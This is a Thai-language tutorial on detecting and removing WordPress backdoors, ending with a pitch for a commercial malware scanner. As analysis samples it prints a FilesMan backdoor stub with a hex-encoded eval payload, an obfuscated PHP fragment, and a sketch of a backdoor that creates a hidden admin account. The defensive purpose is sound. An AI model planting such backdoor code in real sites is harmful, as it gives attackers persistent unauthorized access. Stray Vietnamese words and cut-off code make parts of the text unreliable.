Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> ระบบเครือข่าย >> ความปลอดภัยเครือข่าย

WordPress Backdoor Exploits: อาการ ตรวจจับ และวิธีแก้ไข

WordPress Backdoor คืออะไร?

พันเว็บ WordPress ถูกติดเชื้อทุกปี และเพิ่มขึ้นเรื่อยๆ เจ้าของ/นักพัฒนามักมองข้ามการติดเชื้อ อาจ Persistent (อยู่ต่อเนื่อง) หรือไม่ WordPress Backdoor คือโค้ดที่ให้ Attacker เข้าถึง Server แบบ Unauthorized และ Persistent มักเป็นไฟล์ร้ายซ่อนอยู่ หรือ Plugin ที่ติดเชื้อ พบ Variant ใหม่ทุกเดือน

แฮกเกอร์พยายามฉีด Backdoor ตลอดเวลา มีหลาย Plugin ที่ถูกใช้แพร่เชื้อ การลบ Backdoor อาจยาวนานและใช้ทรัพยากรมาก แต่มาตรการป้องกันสามารถควบคุมความเสียหายได้ WordPress ที่ปลอดภัยสามารถเยียวยา/ป้องกันการโจมตีได้

สาเหตุนำไปสู่ WordPress Backdoor Hack

  • Plugin/Theme Buggy
  • Login Credentials อ่อนแหรือ Default
  • File Permissions อ่อนแอ เปิดเผยไฟล์ nhạy cảm
  • ไม่ใช้ Firewall/Security Solution
  • Installation เก่า (Outdated)
  • Shared Server ติดเชื้อร่วมกับเว็บอื่น (ขอ Subnet จาก Provider)

การค้นหา WordPress Backdoor

ใน Themes (ธีม)

Inactive Themes = ที่ซ่อน Backdoor ดีที่สุด แฮกเกอร์รู้และค้นหา WP Theme มี functions.php เรียก PHP/WordPress Functions ทำอะไรได้หมด แฮกเกอร์ฉีดไฟล์นี้ ตัวอย่าง:

// Triggered when attacker visits: www.yoursite.com/wp-includes/registration.php
// Creates user: ID: backdooradmin, Password: Pa55W0rd
// แม้ลบ User แล้ว ก็สร้างใหม่ได้โดยเข้า URL นี้

โค้ดนี้ต้องการ Access เซิร์ฟเวอร์ก่อน (Open FTP Port ฯลฯ)

ใน Plugins (ปลั๊กอิน)

Backdoor มักมาจาก Buggy Plugins ตัวล่าสุด: Contact Form 7 (5M+ Active Users) Bug นำไปสู่ Privilege Escalation ไฟล์ Plugin ที่แก้ไขอาจไม่เห็นใน Dashboard แต่ FTP จะเห็น Backdoor Files มักตั้งชื่อว่า Helper Files เพื่อดู Legitimate

เหตุผล Backdoor อยู่ใน Plugins:

  • Unused Plugins โดนติดง่าย (ซ่อนนาน)
  • Untrusted/Unpopular Plugins โค้ดแย่
  • Outdated Plugins เป้าหมายหลัก
  • Buggy Plugins ช่วยแก้ไข Core Files อื่นๆ

ค้นหา/ลบ Plugins ไม่รู้จักทั้งหมด! ลบ Unused Plugins!

ใน Installation Files (ไฟล์ติดตั้ง)

Core Files ถูกแก้ไขหลัง Plugin ติดเชื้อ อาจมี Unauthorized Code หรือไฟล์ใหม่ Backdoor อาจดูเป็น Gibberish:

$t43="l/T6\\:aAcNLn#?rP}1\rG_ -s`SZ\$58t\n7E{.*]ixy3h,COKR2dW[0!U\tuQIHf4bYm>wFz<admin@wsxdn.com&(BjX'~|ge%p+oMJv^);\"k9";
$GLOBALS['ofmhl60'] = ${$t43[20].$t43

Obfuscated ด้วยเทคนิคดังๆ อ่านยาก ลบไฟล์ที่มีโค้ดแบบนี้ Backdoor อาจปลอมเป็นไฟล์ Legitimate: xml.php, media.php, plugin.php อย่าข้ามไฟล์ไหนแม้ดูปกติ

ค้นหาคีย์เวิร์ด FilesMan ในไฟล์ ตัวอย่าง FilesMan 02 Backdoor:

<?php
$auth_pass = "";
$color = "#df5";
$default_action = "FilesMan";
$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7b1tVxs50jD8OXvO9R9Er3fanhhjm2Q2Y7ADIZCQSSAD5GUC3N623bZ7aLs93W0Mk+W/31Wll5b6xZhkdq/7OedhJtDdKpVKUkkqlapK3rDM1tzJLL4tl7qn+ycf90/O7ddnZ++7H+Ctu/t..NRCty4s8Uh1VQKxLg+xQC0T93+IV4sxw/c08okR1wKtoyadLX6Dl6tDg3WxVxFoHhkj6Yn/xc='\x29\x29\x29\x3B",".");
?>

บรรทัดที่ 6 = Hex Encoding → Decode ได้ preg_replace("/.*/e","eval(gzinfla\ ใช้ Online Hex Decoder มักมีคำว่า FilesMan ในบรรทัดที่ 4 อาจแก้ไข .htaccess ต้องเช็คดีๆ

วิธีแก้ไข WordPress Backdoor Hack

1. Checksum Comparison

เปรียบเทียบ Checksum (Heuristic File Integrity) Manual หรือ Auto Tools ฟรี สำหรับ Core Files, Plugins, Themes Maintain Personal Blacklist จาก Public Lists ไม่ Match → Manual Remove Backdoors

2. Core File Integrity

หลัง Checksum ไม่ Match → Manual Inspect ดาวน์โหลด Fresh WordPress Copy:

$ mkdir WordPress
$ cd WordPress
$ wget https://github.com/WordPress/WordPress/archive/4.9.8.zip
$ tar -zxvf 4.9.8.zip
$ diff -r path/to/your/file.php /Wordpress/wp-cron.php

ไฟล์ Dynamic อย่าง xmlrpc.php (RPC) แฮกเกอร์ชอบซ่อนตรงนี้ ตรวจสอบละเอียด

3. Encodings (Base64, Hex, etc.)

ไฟล์อาจแก้ไขแต่อ่านไม่ออก ค้นหา Base64 Encoding:

find . -name "*.php" -exec grep "base64"'{}'\; -print &> output.txt

Decode ด้วย Online Tools Hex Encoding: grep -Pr "[\x01\x02\x03]" ลบไฟล์/บรรทัดร้าย

4. ใช้ Server Logs

ดูไฟล์ที่แก้ไขหลังวันที่เฉพาะ FTP Logs: IP ที่เชื่อมต่อ Image Folder: ไม่คาดว่า Executables จะอยู่ที่นี่ แต่โฟลเดอร์นี้ Writable แฮกเกอร์ชอบซ่อน ตั้ง Permissions ให้เหมาะสม: 444 (r--r--r--) หรือ 440 (r--r----) สำหรับไฟล์ nhạy cảm

5. Update & Backup

Outdated Installation = Infected Installation หา Cause ไม่เจอ → Restore จาก Backup (หลัง Backup เว็บปัจจุบันก่อน แล้ว Compare) ไม่มี Backup → Manual Update Core Files หลัง Backup เว็บปัจจุบัน

Plugin มีช่องโหว่ → Update ทันที Patch ช้า → Replace Alternatives ติดตาม Official Blogs สำหรับ Patch

6. ใช้ WordPress Backdoor Scanner

Manual = Error-prone & Tedious Solution = Automation Astra Malware Cleaner ตรวจจับ/ลบ Backdoors ปกป้องการติดเชื้อซ้ำ ราคาสมเหตุสมผล มุมมองครบวงจร ประหยัดเวลา/ทรัพยากร!